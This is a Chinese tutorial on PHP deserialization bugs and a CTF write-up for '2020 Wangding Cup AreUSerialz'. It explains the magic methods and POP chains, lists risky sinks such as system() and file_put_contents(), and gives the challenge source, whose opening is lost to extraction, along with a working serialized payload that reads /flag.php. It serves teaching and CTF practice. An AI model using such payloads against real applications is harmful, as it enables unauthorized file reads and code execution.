Web安全之PHP反序列化漏洞
阅读原文时间:2021年05月19日阅读:1

漏洞原理:

序列化可以将对象变成可以传输的字符串,方便数据保存传输,反序列化就是将字符串还原成对象。如果web应用没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被控制,就会造成代码执行,getshell等一系列不可控的后果。

serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
#触发条件:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法.

__wakeup() //对象被序列化之后立即执行
__construct //构造函数,在实例化类的时候会自动调用#在创建对象时触发
__destruct() //析构函数,通常用来完成一些在对象销毁前的清理任务#在一个对象被销毁时调用

__toString() //需要一个对象被当做一个字符串时调用
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发

漏洞利用思路:

对象中的各个属性值是我们可控的,因此一种PHP反序列化漏洞利用方法叫做“面向属性编程”(Property Oriented Programming).与二进制漏洞中常用的ROP技术类似,在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets.在PHP的POP中,对应的初始化gadgets就是wakeup()或者是destruct(),在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。
一些需要特别关注,跟进的函数:
RCE:

exec(),passthru(),popen(),system()

File Access:

file_put_contents(),file_get_contents(),unlink()

真题 2020网鼎杯-青龙组-AreUSerialz

题目给了源码:

process(); } ​ public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } } ​ private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file\_put\_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } ​ private function read() { $res = ""; if(isset($this->filename)) { $res = file\_get\_contents($this->filename); } return $res; } ​ private function output($s) { echo "\[Result\]:
"; echo $s; } ​ function \_\_destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); } ​ } ​ function is\_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s\[$i\]) >= 32 && ord($s\[$i\]) <= 125)) return false; return true; } ​ if(isset($\_GET{'str'})) { ​ $str = (string)$\_GET\['str'\]; if(is\_valid($str)) { $obj = unserialize($str); } ​ } ​ 跟踪destruct()发现存在对op这个变量存在全等于验证,当op为字符串2值时op被强行赋值为字符串1 ,导致后面直接进入写操作,故用$op=2绕过 另外调用了process(),关联read()和write()两个函数,一个读,一个写 想要拿到flag需要通过read()读到/flag.php $op=2绕过第一层判断进入读操作 if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } 然后就是GET方法传参str,发现存在一个is\_valid()验证函数,过滤了提交的参数中数据ASCII码<32且>125的字符 根据信息生成实例:

运行生成payload:

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:9:"/flag.php";s:7:"content";N;}

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章